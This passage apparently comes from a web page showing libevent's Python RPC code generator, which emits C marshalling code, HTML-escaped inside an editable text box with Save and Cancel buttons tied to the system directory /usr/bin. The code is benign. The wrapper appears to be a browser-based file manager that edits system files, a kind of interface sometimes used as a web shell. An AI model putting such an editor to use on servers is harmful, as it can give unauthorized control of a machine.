            &#039;  event_warn(&quot;%%s: evbuffer_new()&quot;, __func__);&#039;,
            &quot;  had_error = 1;&quot;,
            &quot;  goto done;&quot;,
            &quot;}&quot;,
            &quot;%(refname)s_marshal(tmp, %(srcvar)s);&quot;,
            &quot;if (%(refname)s_unmarshal(%(var)s, tmp) == -1) {&quot;,
            &#039;  event_warnx(&quot;%%s: %(refname)s_unmarshal&quot;, __func__);&#039;,
            &quot;  had_error = 1;&quot;,
            &quot;  goto done;&quot;,
            &quot;}&quot;,
            &quot;done:&quot;,
            &quot;if (tmp != NULL)&quot;,
            &quot;  evbuffer_free(tmp);&quot;,
            &quot;if (had_error) {&quot;,
            &quot;  %(refname)s_clear(%(var)s);&quot;,
            &quot;  return (-1);&quot;,
            &quot;}&quot;,
        ]

        return TranslateList(code, self.GetTranslation({&quot;var&quot;: var, &quot;srcvar&quot;: srcvar}))

    def CodeGet(self):
        name = self._name
        code = [
            &quot;int&quot;,
            &quot;%s_%s_get(struct %s *msg, %s *value)&quot;
            % (self._struct.Name(), name, self._struct.Name(), self._ctype),
            &quot;{&quot;,
            &quot;  if (msg-&gt;%s_set != 1) {&quot; % name,
            &quot;    msg-&gt;%s_data = %s_new();&quot; % (name, self._refname),
            &quot;    if (msg-&gt;%s_data == NULL)&quot; % name,
            &quot;      return (-1);&quot;,
            &quot;    msg-&gt;%s_set = 1;&quot; % name,
            &quot;  }&quot;,
            &quot;  *value = msg-&gt;%s_data;&quot; % name,
            &quot;  return (0);&quot;,
            &quot;}&quot;,
        ]
        return code

    def CodeAssign(self):
        code = (
            &quot;&quot;&quot;int
%(parent_name)s_%(name)s_assign(struct %(parent_name)s *msg,
    const %(ctype)s value)
{
   struct evbuffer *tmp = NULL;
   if (msg-&gt;%(name)s_set) {
     %(refname)s_clear(msg-&gt;%(name)s_data);
     msg-&gt;%(name)s_set = 0;
   } else {
     msg-&gt;%(name)s_data = %(refname)s_new();
     if (msg-&gt;%(name)s_data == NULL) {
       event_warn(&quot;%%s: %(refname)s_new()&quot;, __func__);
       goto error;
     }
   }
   if ((tmp = evbuffer_new()) == NULL) {
     event_warn(&quot;%%s: evbuffer_new()&quot;, __func__);
     goto error;
   }
   %(refname)s_marshal(tmp, value);
   if (%(refname)s_unmarshal(msg-&gt;%(name)s_data, tmp) == -1) {
     event_warnx(&quot;%%s: %(refname)s_unmarshal&quot;, __func__);
     goto error;
   }
   msg-&gt;%(name)s_set = 1;
   evbuffer_free(tmp);
   return (0);
 error:
   if (tmp != NULL)
     evbuffer_free(tmp);
   if (msg-&gt;%(name)s_data != NULL) {
     %(refname)s_free(msg-&gt;%(name)s_data);
     msg-&gt;%(name)s_data = NULL;
   }
   return (-1);
}&quot;&quot;&quot;
            % self.GetTranslation()
        )
        return code.split(&quot;\n&quot;)

    def CodeComplete(self, structname, var_name):
        code = [
            &quot;if (%(structname)s-&gt;%(name)s_set &amp;&amp; &quot;
            &quot;%(refname)s_complete(%(var)s) == -1)&quot;,
            &quot;  return (-1);&quot;,
        ]

        return TranslateList(
            code, self.GetTranslation({&quot;structname&quot;: structname, &quot;var&quot;: var_name})
        )

    def CodeUnmarshal(self, buf, tag_name, var_name, _var_len):
        code = [
            &quot;%(var)s = %(refname)s_new();&quot;,
            &quot;if (%(var)s == NULL)&quot;,
            &quot;  return (-1);&quot;,
            &quot;if (evtag_unmarshal_%(refname)s(%(buf)s, %(tag)s, &quot;,
            &quot;    %(var)s) == -1) {&quot;,
            &#039;  event_warnx(&quot;%%s: failed to unmarshal %(name)s&quot;, __func__);&#039;,
            &quot;  return (-1);&quot;,
            &quot;}&quot;,
        ]
        code = &quot;\n&quot;.join(code) % self.GetTranslation(
            {&quot;buf&quot;: buf, &quot;tag&quot;: tag_name, &quot;var&quot;: var_name}
        )
        return code.split(&quot;\n&quot;)

    def CodeMarshal(self, buf, tag_name, var_name, _var_len):
        code = [
            &quot;evtag_marshal_%s(%s, %s, %s);&quot; % (self._refname, buf, tag_name, var_name)
        ]
        return code

    def CodeClear(self, structname):
        code = [
            &quot;if (%s-&gt;%s_set == 1) {&quot; % (structname, self.Name()),
            &quot;  %s_free(%s-&gt;%s_data);&quot; % (self._refname, structname, self.Name()),
            &quot;  %s-&gt;%s_data = NULL;&quot; % (structname, self.Name()),
            &quot;  %s-&gt;%s_set = 0;&quot; % (structname, self.Name()),
            &quot;}&quot;,
        ]

        return code

    def CodeInitialize(self, name):
        code = [&quot;%s-&gt;%s_data = NULL;&quot; % (name, self._name)]
        return code

    def CodeFree(self, name):
        code = [
            &quot;if (%s-&gt;%s_data != NULL)&quot; % (name, self._name),
            &quot;    %s_free(%s-&gt;%s_data);&quot; % (self._refname, name, self._name),
        ]

        return code

    def Declaration(self):
        dcl = [&quot;%s %s_data;&quot; % (self._ctype, self._name)]

        return dcl


class EntryVarBytes(Entry):
    def __init__(self, ent_type, name, tag):
        # Init base class
        super(EntryVarBytes, self).__init__(ent_type, name, tag)

        self._ctype = &quot;ev_uint8_t *&quot;

    @staticmethod
    def GetInitializer():
        return &quot;NULL&quot;

    def GetVarLen(self, var):
        return &quot;%(var)s-&gt;%(name)s_length&quot; % self.GetTranslation({&quot;var&quot;: var})

    @staticmethod
    def CodeArrayAdd(varname, _value):
        # xxx: copy
        return [&quot;%(varname)s = NULL;&quot; % {&quot;varname&quot;: varname}]

    def GetDeclaration(self, funcname):
        code = [
            &quot;int %s(struct %s *, %s *, ev_uint32_t *);&quot;
            % (funcname, self._struct.Name(), self._ctype)
        ]
        return code

    def AssignDeclaration(self, funcname):
        code = [
            &quot;int %s(struct %s *, const %s, ev_uint32_t);&quot;
            % (funcname, self._struct.Name(), self._ctype)
        ]
        return code

    def CodeAssign(self):
        name = self._name
        code = [
            &quot;int&quot;,
            &quot;%s_%s_assign(struct %s *msg, &quot;
            &quot;const %s value, ev_uint32_t len)&quot;
            % (self._struct.Name(), name, self._struct.Name(), self._ctype),
            &quot;{&quot;,
            &quot;  if (msg-&gt;%s_data != NULL)&quot; % name,
            &quot;    free (msg-&gt;%s_data);&quot; % name,
            &quot;  msg-&gt;%s_data = malloc(len);&quot; % name,
            &quot;  if (msg-&gt;%s_data == NULL)&quot; % name,
            &quot;    return (-1);&quot;,
            &quot;  msg-&gt;%s_set = 1;&quot; % name,
            &quot;  msg-&gt;%s_length = len;&quot; % name,
            &quot;  memcpy(msg-&gt;%s_data, value, len);&quot; % name,
            &quot;  return (0);&quot;,
            &quot;}&quot;,
        ]
        return code

    def CodeGet(self):
        name = self._name
        code = [
            &quot;int&quot;,
            &quot;%s_%s_get(struct %s *msg, %s *value, ev_uint32_t *plen)&quot;
            % (self._struct.Name(), name, self._struct.Name(), self._ctype),
            &quot;{&quot;,
            &quot;  if (msg-&gt;%s_set != 1)&quot; % name,
            &quot;    return (-1);&quot;,
            &quot;  *value = msg-&gt;%s_data;&quot; % name,
            &quot;  *plen = msg-&gt;%s_length;&quot; % name,
            &quot;  return (0);&quot;,
            &quot;}&quot;,
        ]
        return code

    def CodeUnmarshal(self, buf, tag_name, var_name, var_len):
        code = [
            &quot;if (evtag_payload_length(%(buf)s, &amp;%(varlen)s) == -1)&quot;,
            &quot;  return (-1);&quot;,
            # We do not want DoS opportunities
            &quot;if (%(varlen)s &gt; evbuffer_get_length(%(buf)s))&quot;,
            &quot;  return (-1);&quot;,
            &quot;if ((%(var)s = malloc(%(varlen)s)) == NULL)&quot;,
            &quot;  return (-1);&quot;,
            &quot;if (evtag_unmarshal_fixed(%(buf)s, %(tag)s, %(var)s, &quot;
            &quot;%(varlen)s) == -1) {&quot;,
            &#039;  event_warnx(&quot;%%s: failed to unmarshal %(name)s&quot;, __func__);&#039;,
            &quot;  return (-1);&quot;,
            &quot;}&quot;,
        ]
        code = &quot;\n&quot;.join(code) % self.GetTranslation(
            {&quot;buf&quot;: buf, &quot;tag&quot;: tag_name, &quot;var&quot;: var_name, &quot;varlen&quot;: var_len}
        )
        return code.split(&quot;\n&quot;)

    @staticmethod
    def CodeMarshal(buf, tag_name, var_name, var_len):
        code = [&quot;evtag_marshal(%s, %s, %s, %s);&quot; % (buf, tag_name, var_name, var_len)]
        return code

    def CodeClear(self, structname):
        code = [
            &quot;if (%s-&gt;%s_set == 1) {&quot; % (structname, self.Name()),
            &quot;  free (%s-&gt;%s_data);&quot; % (structname, self.Name()),
            &quot;  %s-&gt;%s_data = NULL;&quot; % (structname, self.Name()),
            &quot;  %s-&gt;%s_length = 0;&quot; % (structname, self.Name()),
            &quot;  %s-&gt;%s_set = 0;&quot; % (structname, self.Name()),
            &quot;}&quot;,
        ]

        return code

    def CodeInitialize(self, name):
        code = [
            &quot;%s-&gt;%s_data = NULL;&quot; % (name, self._name),
            &quot;%s-&gt;%s_length = 0;&quot; % (name, self._name),
        ]
        return code

    def CodeFree(self, name):
        code = [
            &quot;if (%s-&gt;%s_data != NULL)&quot; % (name, self._name),
            &quot;    free(%s-&gt;%s_data);&quot; % (name, self._name),
        ]

        return code

    def Declaration(self):
        dcl = [
            &quot;ev_uint8_t *%s_data;&quot; % self._name,
            &quot;ev_uint32_t %s_length;&quot; % self._name,
        ]

        return dcl


class EntryArray(Entry):
    _index = None

    def __init__(self, entry):
        # Init base class
        super(EntryArray, self).__init__(entry._type, entry._name, entry._tag)

        self._entry = entry
        self._refname = entry._refname
        self._ctype = self._entry._ctype
        self._optional = True
        self._optpointer = self._entry._optpointer
        self._optaddarg = self._entry._optaddarg

        # provide a new function for accessing the variable name
        def GetVarName(var_name):
            return &quot;%(var)s-&gt;%(name)s_data[%(index)s]&quot; % self._entry.GetTranslation(
                {&quot;var&quot;: var_name, &quot;index&quot;: self._index}
            )

        self._entry.GetVarName = GetVarName

    def GetInitializer(self):
        return &quot;NULL&quot;

    def GetVarName(self, var):
        return var

    def GetVarLen(self, _var_name):
        return &quot;-1&quot;

    def GetDeclaration(self, funcname):
        &quot;&quot;&quot;Allows direct access to elements of the array.&quot;&quot;&quot;
        code = [
            &quot;int %(funcname)s(struct %(parent_name)s *, int, %(ctype)s *);&quot;
            % self.GetTranslation({&quot;funcname&quot;: funcname})
        ]
        return code

    def AssignDeclaration(self, funcname):
        code = [
            &quot;int %s(struct %s *, int, const %s);&quot;
            % (funcname, self._struct.Name(), self._ctype)
        ]
        return code

    def AddDeclaration(self, funcname):
        code = [
            &quot;%(ctype)s %(optpointer)s &quot;
            &quot;%(funcname)s(struct %(parent_name)s *msg%(optaddarg)s);&quot;
            % self.GetTranslation({&quot;funcname&quot;: funcname})
        ]
        return code

    def CodeGet(self):
        code = &quot;&quot;&quot;int
%(parent_name)s_%(name)s_get(struct %(parent_name)s *msg, int offset,
    %(ctype)s *value)
{
  if (!msg-&gt;%(name)s_set || offset &lt; 0 || offset &gt;= msg-&gt;%(name)s_length)
    return (-1);
  *value = msg-&gt;%(name)s_data[offset];
  return (0);
}
&quot;&quot;&quot; % (
            self.GetTranslation()
        )

        return code.splitlines()

    def CodeAssign(self):
        code = [
            &quot;int&quot;,
            &quot;%(parent_name)s_%(name)s_assign(struct %(parent_name)s *msg, int off,&quot;,
            &quot;  const %(ctype)s value)&quot;,
            &quot;{&quot;,
            &quot;  if (!msg-&gt;%(name)s_set || off &lt; 0 || off &gt;= msg-&gt;%(name)s_length)&quot;,
            &quot;    return (-1);&quot;,
            &quot;&quot;,
            &quot;  {&quot;,
        ]
        code = TranslateList(code, self.GetTranslation())

        codearrayassign = self._entry.CodeArrayAssign(
            &quot;msg-&gt;%(name)s_data[off]&quot; % self.GetTranslation(), &quot;value&quot;
        )
        code += [&quot;    &quot; + x for x in codearrayassign]

        code += TranslateList([&quot;  }&quot;, &quot;  return (0);&quot;, &quot;}&quot;], self.GetTranslation())

        return code

    def CodeAdd(self):
        codearrayadd = self._entry.CodeArrayAdd(
            &quot;msg-&gt;%(name)s_data[msg-&gt;%(name)s_length - 1]&quot; % self.GetTranslation(),
            &quot;value&quot;,
        )
        code = [
            &quot;static int&quot;,
            &quot;%(parent_name)s_%(name)s_expand_to_hold_more(&quot;
            &quot;struct %(parent_name)s *msg)&quot;,
            &quot;{&quot;,
            &quot;  int tobe_allocated = msg-&gt;%(name)s_num_allocated;&quot;,
            &quot;  %(ctype)s* new_data = NULL;&quot;,
            &quot;  tobe_allocated = !tobe_allocated ? 1 : tobe_allocated &lt;&lt; 1;&quot;,
            &quot;  new_data = (%(ctype)s*) realloc(msg-&gt;%(name)s_data,&quot;,
            &quot;      tobe_allocated * sizeof(%(ctype)s));&quot;,
            &quot;  if (new_data == NULL)&quot;,
            &quot;    return -1;&quot;,
            &quot;  msg-&gt;%(name)s_data = new_data;&quot;,
            &quot;  msg-&gt;%(name)s_num_allocated = tobe_allocated;&quot;,
            &quot;  return 0;&quot;,
            &quot;}&quot;,
            &quot;&quot;,
            &quot;%(ctype)s %(optpointer)s&quot;,
            &quot;%(parent_name)s_%(name)s_add(struct %(parent_name)s *msg%(optaddarg)s)&quot;,
            &quot;{&quot;,
            &quot;  if (++msg-&gt;%(name)s_length &gt;= msg-&gt;%(name)s_num_allocated) {&quot;,
            &quot;    if (%(parent_name)s_%(name)s_expand_to_hold_more(msg)&lt;0)&quot;,
            &quot;      goto error;&quot;,
            &quot;  }&quot;,
        ]

        code = TranslateList(code, self.GetTranslation())

        code += [&quot;  &quot; + x for x in codearrayadd]

        code += TranslateList(
            [
                &quot;  msg-&gt;%(name)s_set = 1;&quot;,
                &quot;  return %(optreference)s(msg-&gt;%(name)s_data[&quot;
                &quot;msg-&gt;%(name)s_length - 1]);&quot;,
                &quot;error:&quot;,
                &quot;  --msg-&gt;%(name)s_length;&quot;,
                &quot;  return (NULL);&quot;,
                &quot;}&quot;,
            ],
            self.GetTranslation(),
        )

        return code

    def CodeComplete(self, structname, var_name):
        self._index = &quot;i&quot;
        tmp = self._entry.CodeComplete(structname, self._entry.GetVarName(var_name))
        # skip the whole loop if there is nothing to check
        if not tmp:
            return []

        translate = self.GetTranslation({&quot;structname&quot;: structname})
        code = [
            &quot;{&quot;,
            &quot;  int i;&quot;,
            &quot;  for (i = 0; i &lt; %(structname)s-&gt;%(name)s_length; ++i) {&quot;,
        ]

        code = TranslateList(code, translate)

        code += [&quot;    &quot; + x for x in tmp]

        code += [&quot;  }&quot;, &quot;}&quot;]

        return code

    def CodeUnmarshal(self, buf, tag_name, var_name, _var_len):
        translate = self.GetTranslation(
            {
                &quot;var&quot;: var_name,
                &quot;buf&quot;: buf,
                &quot;tag&quot;: tag_name,
                &quot;init&quot;: self._entry.GetInitializer(),
            }
        )
        code = [
            &quot;if (%(var)s-&gt;%(name)s_length &gt;= %(var)s-&gt;%(name)s_num_allocated &amp;&amp;&quot;,
            &quot;    %(parent_name)s_%(name)s_expand_to_hold_more(%(var)s) &lt; 0) {&quot;,
            &#039;  puts(&quot;HEY NOW&quot;);&#039;,
            &quot;  return (-1);&quot;,
            &quot;}&quot;,
        ]

        # the unmarshal code directly returns
        code = TranslateList(code, translate)

        self._index = &quot;%(var)s-&gt;%(name)s_length&quot; % translate
        code += self._entry.CodeUnmarshal(
            buf,
            tag_name,
            self._entry.GetVarName(var_name),
            self._entry.GetVarLen(var_name),
        )

        code += [&quot;++%(var)s-&gt;%(name)s_length;&quot; % translate]

        return code

    def CodeMarshal(self, buf, tag_name, var_name, _var_len):
        code = [&quot;{&quot;, &quot;  int i;&quot;, &quot;  for (i = 0; i &lt; %(var)s-&gt;%(name)s_length; ++i) {&quot;]

        self._index = &quot;i&quot;
        code += self._entry.CodeMarshal(
            buf,
            tag_name,
            self._entry.GetVarName(var_name),
            self._entry.GetVarLen(var_name),
        )
        code += [&quot;  }&quot;, &quot;}&quot;]

        code = &quot;\n&quot;.join(code) % self.GetTranslation({&quot;var&quot;: var_name})

        return code.split(&quot;\n&quot;)

    def CodeClear(self, structname):
        translate = self.GetTranslation({&quot;structname&quot;: structname})
        codearrayfree = self._entry.CodeArrayFree(
            &quot;%(structname)s-&gt;%(name)s_data[i]&quot;
            % self.GetTranslation({&quot;structname&quot;: structname})
        )

        code = [&quot;if (%(structname)s-&gt;%(name)s_set == 1) {&quot;]

        if codearrayfree:
            code += [
                &quot;  int i;&quot;,
                &quot;  for (i = 0; i &lt; %(structname)s-&gt;%(name)s_length; ++i) {&quot;,
            ]

        code = TranslateList(code, translate)

        if codearrayfree:
            code += [&quot;    &quot; + x for x in codearrayfree]
            code += [&quot;  }&quot;]

        code += TranslateList(
            [
                &quot;  free(%(structname)s-&gt;%(name)s_data);&quot;,
                &quot;  %(structname)s-&gt;%(name)s_data = NULL;&quot;,
                &quot;  %(structname)s-&gt;%(name)s_set = 0;&quot;,
                &quot;  %(structname)s-&gt;%(name)s_length = 0;&quot;,
                &quot;  %(structname)s-&gt;%(name)s_num_allocated = 0;&quot;,
                &quot;}&quot;,
            ],
            translate,
        )

        return code

    def CodeInitialize(self, name):
        code = [
            &quot;%s-&gt;%s_data = NULL;&quot; % (name, self._name),
            &quot;%s-&gt;%s_length = 0;&quot; % (name, self._name),
            &quot;%s-&gt;%s_num_allocated = 0;&quot; % (name, self._name),
        ]
        return code

    def CodeFree(self, structname):
        code = self.CodeClear(structname)

        code += TranslateList(
            [&quot;free(%(structname)s-&gt;%(name)s_data);&quot;],
            self.GetTranslation({&quot;structname&quot;: structname}),
        )

        return code

    def Declaration(self):
        dcl = [
            &quot;%s *%s_data;&quot; % (self._ctype, self._name),
            &quot;int %s_length;&quot; % self._name,
            &quot;int %s_num_allocated;&quot; % self._name,
        ]

        return dcl


def NormalizeLine(line):

    line = CPPCOMMENT_RE.sub(&quot;&quot;, line)
    line = line.strip()
    line = WHITESPACE_RE.sub(&quot; &quot;, line)

    return line


ENTRY_NAME_RE = re.compile(r&quot;(?P&lt;name&gt;[^\[\]]+)(\[(?P&lt;fixed_length&gt;.*)\])?&quot;)
ENTRY_TAG_NUMBER_RE = re.compile(r&quot;(0x)?\d+&quot;, re.I)


def ProcessOneEntry(factory, newstruct, entry):
    optional = False
    array = False
    entry_type = &quot;&quot;
    name = &quot;&quot;
    tag = &quot;&quot;
    tag_set = None
    separator = &quot;&quot;
    fixed_length = &quot;&quot;

    for token in entry.split(&quot; &quot;):
        if not entry_type:
            if not optional and token == &quot;optional&quot;:
                optional = True
                continue

            if not array and token == &quot;array&quot;:
                array = True
                continue

        if not entry_type:
            entry_type = token
            continue

        if not name:
            res = ENTRY_NAME_RE.match(token)
            if not res:
                raise RpcGenError(
                    r&quot;&quot;&quot;Cannot parse name: &quot;%s&quot; around line %d&quot;&quot;&quot; % (entry, LINE_COUNT)
                )
            name = res.group(&quot;name&quot;)
            fixed_length = res.group(&quot;fixed_length&quot;)
            continue

        if not separator:
            separator = token
            if separator != &quot;=&quot;:
                raise RpcGenError(
                    r&#039;&#039;&#039;Expected &quot;=&quot; after name &quot;%s&quot; got &quot;%s&quot;&#039;&#039;&#039; % (name, token)
                )
            continue

        if not tag_set:
            tag_set = 1
            if not ENTRY_TAG_NUMBER_RE.match(token):
                raise RpcGenError(r&#039;&#039;&#039;Expected tag number: &quot;%s&quot;&#039;&#039;&#039; % (entry))
            tag = int(token, 0)
            continue

        raise RpcGenError(r&#039;&#039;&#039;Cannot parse &quot;%s&quot;&#039;&#039;&#039; % (entry))

    if not tag_set:
        raise RpcGenError(r&#039;&#039;&#039;Need tag number: &quot;%s&quot;&#039;&#039;&#039; % (entry))

    # Create the right entry
    if entry_type == &quot;bytes&quot;:
        if fixed_length:
            newentry = factory.EntryBytes(entry_type, name, tag, fixed_length)
        else:
            newentry = factory.EntryVarBytes(entry_type, name, tag)
    elif entry_type == &quot;int&quot; and not fixed_length:
        newentry = factory.EntryInt(entry_type, name, tag)
    elif entry_type == &quot;int64&quot; and not fixed_length:
        newentry = factory.EntryInt(entry_type, name, tag, bits=64)
    elif entry_type == &quot;string&quot; and not fixed_length:
        newentry = factory.EntryString(entry_type, name, tag)
    else:
        res = STRUCT_REF_RE.match(entry_type)
        if res:
            # References another struct defined in our file
            newentry = factory.EntryStruct(entry_type, name, tag, res.group(&quot;name&quot;))
        else:
            raise RpcGenError(&#039;Bad type: &quot;%s&quot; in &quot;%s&quot;&#039; % (entry_type, entry))

    structs = []

    if optional:
        newentry.MakeOptional()
    if array:
        newentry.MakeArray()

    newentry.SetStruct(newstruct)
    newentry.SetLineCount(LINE_COUNT)
    newentry.Verify()

    if array:
        # We need to encapsulate this entry into a struct
        newentry = factory.EntryArray(newentry)
        newentry.SetStruct(newstruct)
        newentry.SetLineCount(LINE_COUNT)
        newentry.MakeArray()

    newstruct.AddEntry(newentry)

    return structs


def ProcessStruct(factory, data):
    tokens = data.split(&quot; &quot;)

    # First three tokens are: &#039;struct&#039; &#039;name&#039; &#039;{&#039;
    newstruct = factory.Struct(tokens[1])

    inside = &quot; &quot;.join(tokens[3:-1])

    tokens = inside.split(&quot;;&quot;)

    structs = []

    for entry in tokens:
        entry = NormalizeLine(entry)
        if not entry:
            continue

        # It&#039;s possible that new structs get defined in here
        structs.extend(ProcessOneEntry(factory, newstruct, entry))

    structs.append(newstruct)
    return structs


C_COMMENT_START = &quot;/*&quot;
C_COMMENT_END = &quot;*/&quot;

C_COMMENT_START_RE = re.compile(re.escape(C_COMMENT_START))
C_COMMENT_END_RE = re.compile(re.escape(C_COMMENT_END))

C_COMMENT_START_SUB_RE = re.compile(r&quot;%s.*$&quot; % (re.escape(C_COMMENT_START)))
C_COMMENT_END_SUB_RE = re.compile(r&quot;%s.*$&quot; % (re.escape(C_COMMENT_END)))

C_MULTILINE_COMMENT_SUB_RE = re.compile(
    r&quot;%s.*?%s&quot; % (re.escape(C_COMMENT_START), re.escape(C_COMMENT_END))
)
CPP_CONDITIONAL_BLOCK_RE = re.compile(r&quot;#(if( |def)|endif)&quot;)
INCLUDE_RE = re.compile(r&#039;#include (&quot;.+&quot;|&lt;.+&gt;)&#039;)


def GetNextStruct(filep):
    global CPP_DIRECT
    global LINE_COUNT

    got_struct = False
    have_c_comment = False

    data = &quot;&quot;

    while True:
        line = filep.readline()
        if not line:
            break

        LINE_COUNT += 1
        line = line[:-1]

        if not have_c_comment and C_COMMENT_START_RE.search(line):
            if C_MULTILINE_COMMENT_SUB_RE.search(line):
                line = C_MULTILINE_COMMENT_SUB_RE.sub(&quot;&quot;, line)
            else:
                line = C_COMMENT_START_SUB_RE.sub(&quot;&quot;, line)
                have_c_comment = True

        if have_c_comment:
            if not C_COMMENT_END_RE.search(line):
                continue
            have_c_comment = False
            line = C_COMMENT_END_SUB_RE.sub(&quot;&quot;, line)

        line = NormalizeLine(line)

        if not line:
            continue

        if not got_struct:
            if INCLUDE_RE.match(line):
                CPP_DIRECT.append(line)
            elif CPP_CONDITIONAL_BLOCK_RE.match(line):
                CPP_DIRECT.append(line)
            elif PREPROCESSOR_DEF_RE.match(line):
                HEADER_DIRECT.append(line)
            elif not STRUCT_DEF_RE.match(line):
                raise RpcGenError(&quot;Missing struct on line %d: %s&quot; % (LINE_COUNT, line))
            else:
                got_struct = True
                data += line
            continue

        # We are inside the struct
        tokens = line.split(&quot;}&quot;)
        if len(tokens) == 1:
            data += &quot; &quot; + line
            continue

        if tokens[1]:
            raise RpcGenError(&quot;Trailing garbage after struct on line %d&quot; % LINE_COUNT)

        # We found the end of the struct
        data += &quot; %s}&quot; % tokens[0]
        break

    # Remove any comments, that might be in there
    data = re.sub(r&quot;/\*.*\*/&quot;, &quot;&quot;, data)

    return data


def Parse(factory, filep):
    &quot;&quot;&quot;
    Parses the input file and returns C code and corresponding header file.
    &quot;&quot;&quot;

    entities = []

    while 1:
        # Just gets the whole struct nicely formatted
        data = GetNextStruct(filep)

        if not data:
            break

        entities.extend(ProcessStruct(factory, data))

    return entities


class CCodeGenerator(object):
    def __init__(self):
        pass

    @staticmethod
    def GuardName(name):
        # Use the complete provided path to the input file, with all
        # non-identifier characters replaced with underscores, to
        # reduce the chance of a collision between guard macros.
        return &quot;EVENT_RPCOUT_%s_&quot; % (NONIDENT_RE.sub(&quot;_&quot;, name).upper())

    def HeaderPreamble(self, name):
        guard = self.GuardName(name)
        pre = &quot;&quot;&quot;
/*
 * Automatically generated from %s
 */

#ifndef %s
#define %s

&quot;&quot;&quot; % (
            name,
            guard,
            guard,
        )

        if HEADER_DIRECT:
            for statement in HEADER_DIRECT:
                pre += &quot;%s\n&quot; % statement
            pre += &quot;\n&quot;

        pre += &quot;&quot;&quot;
#include &lt;event2/util.h&gt; /* for ev_uint*_t */
#include &lt;event2/rpc.h&gt;
&quot;&quot;&quot;

        return pre

    def HeaderPostamble(self, name):
        guard = self.GuardName(name)
        return &quot;#endif  /* %s */&quot; % (guard)

    @staticmethod
    def BodyPreamble(name, header_file):
        global _NAME
        global _VERSION

        slash = header_file.rfind(&quot;/&quot;)
        if slash != -1:
            header_file = header_file[slash + 1 :]

        pre = &quot;&quot;&quot;
/*
 * Automatically generated from %(name)s
 * by %(script_name)s/%(script_version)s.  DO NOT EDIT THIS FILE.
 */

#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;assert.h&gt;
#include &lt;event2/event-config.h&gt;
#include &lt;event2/event.h&gt;
#include &lt;event2/buffer.h&gt;
#include &lt;event2/tag.h&gt;

#if defined(EVENT__HAVE___func__)
# ifndef __func__
#  define __func__ __func__
# endif
#elif defined(EVENT__HAVE___FUNCTION__)
# define __func__ __FUNCTION__
#else
# define __func__ __FILE__
#endif

&quot;&quot;&quot; % {
            &quot;name&quot;: name,
            &quot;script_name&quot;: _NAME,
            &quot;script_version&quot;: _VERSION,
        }

        for statement in CPP_DIRECT:
            pre += &quot;%s\n&quot; % statement

        pre += &#039;\n#include &quot;%s&quot;\n\n&#039; % header_file

        pre += &quot;void event_warn(const char *fmt, ...);\n&quot;
        pre += &quot;void event_warnx(const char *fmt, ...);\n\n&quot;

        return pre

    @staticmethod
    def HeaderFilename(filename):
        return &quot;.&quot;.join(filename.split(&quot;.&quot;)[:-1]) + &quot;.h&quot;

    @staticmethod
    def CodeFilename(filename):
        return &quot;.&quot;.join(filename.split(&quot;.&quot;)[:-1]) + &quot;.gen.c&quot;

    @staticmethod
    def Struct(name):
        return StructCCode(name)

    @staticmethod
    def EntryBytes(entry_type, name, tag, fixed_length):
        return EntryBytes(entry_type, name, tag, fixed_length)

    @staticmethod
    def EntryVarBytes(entry_type, name, tag):
        return EntryVarBytes(entry_type, name, tag)

    @staticmethod
    def EntryInt(entry_type, name, tag, bits=32):
        return EntryInt(entry_type, name, tag, bits)

    @staticmethod
    def EntryString(entry_type, name, tag):
        return EntryString(entry_type, name, tag)

    @staticmethod
    def EntryStruct(entry_type, name, tag, struct_name):
        return EntryStruct(entry_type, name, tag, struct_name)

    @staticmethod
    def EntryArray(entry):
        return EntryArray(entry)


class CommandLine(object):
    def __init__(self, argv=None):
        &quot;&quot;&quot;Initialize a command-line to launch event_rpcgen, as if
           from a command-line with CommandLine(sys.argv).  If you&#039;re
           calling this directly, remember to provide a dummy value
           for sys.argv[0]
        &quot;&quot;&quot;
        global QUIETLY

        self.filename = None
        self.header_file = None
        self.impl_file = None
        self.factory = CCodeGenerator()

        parser = argparse.ArgumentParser(
            usage=&quot;%(prog)s [options] rpc-file [[h-file] c-file]&quot;
        )
        parser.add_argument(&quot;--quiet&quot;, action=&quot;store_true&quot;, default=False)
        parser.add_argument(&quot;rpc_file&quot;, type=argparse.FileType(&quot;r&quot;))

        args, extra_args = parser.parse_known_args(args=argv)

        QUIETLY = args.quiet

        if extra_args:
            if len(extra_args) == 1:
                self.impl_file = extra_args[0].replace(&quot;\\&quot;, &quot;/&quot;)
            elif len(extra_args) == 2:
                self.header_file = extra_args[0].replace(&quot;\\&quot;, &quot;/&quot;)
                self.impl_file = extra_args[1].replace(&quot;\\&quot;, &quot;/&quot;)
            else:
                parser.error(&quot;Spurious arguments provided&quot;)

        self.rpc_file = args.rpc_file

        if not self.impl_file:
            self.impl_file = self.factory.CodeFilename(self.rpc_file.name)

        if not self.header_file:
            self.header_file = self.factory.HeaderFilename(self.impl_file)

        if not self.impl_file.endswith(&quot;.c&quot;):
            parser.error(&quot;can only generate C implementation files&quot;)
        if not self.header_file.endswith(&quot;.h&quot;):
            parser.error(&quot;can only generate C header files&quot;)

    def run(self):
        filename = self.rpc_file.name
        header_file = self.header_file
        impl_file = self.impl_file
        factory = self.factory

        declare(&#039;Reading &quot;%s&quot;&#039; % filename)

        with self.rpc_file:
            entities = Parse(factory, self.rpc_file)

        declare(&#039;... creating &quot;%s&quot;&#039; % header_file)
        with open(header_file, &quot;w&quot;) as header_fp:
            header_fp.write(factory.HeaderPreamble(filename))

            # Create forward declarations: allows other structs to reference
            # each other
            for entry in entities:
                entry.PrintForwardDeclaration(header_fp)
            header_fp.write(&quot;\n&quot;)

            for entry in entities:
                entry.PrintTags(header_fp)
                entry.PrintDeclaration(header_fp)
            header_fp.write(factory.HeaderPostamble(filename))

        declare(&#039;... creating &quot;%s&quot;&#039; % impl_file)
        with open(impl_file, &quot;w&quot;) as impl_fp:
            impl_fp.write(factory.BodyPreamble(filename, header_file))
            for entry in entities:
                entry.PrintCode(impl_fp)


def main(argv=None):
    try:
        CommandLine(argv=argv).run()
        return 0
    except RpcGenError as e:
        sys.stderr.write(e)
    except EnvironmentError as e:
        if e.filename and e.strerror:
            sys.stderr.write(&quot;%s: %s&quot; % (e.filename, e.strerror))
        elif e.strerror:
            sys.stderr.write(e.strerror)
        else:
            raise
    return 1


if __name__ == &quot;__main__&quot;:
    sys.exit(main(argv=sys.argv[1:]))
</textarea>
                    <div style="margin-top:15px;display:flex;gap:8px;">
                        <button class="button button-green">Save</button>
                        <a href="?p=%2Fusr%2Fbin" class="button button-red">Cancel</a>
                    </div>
                </form>
            </div>
            </div>
    
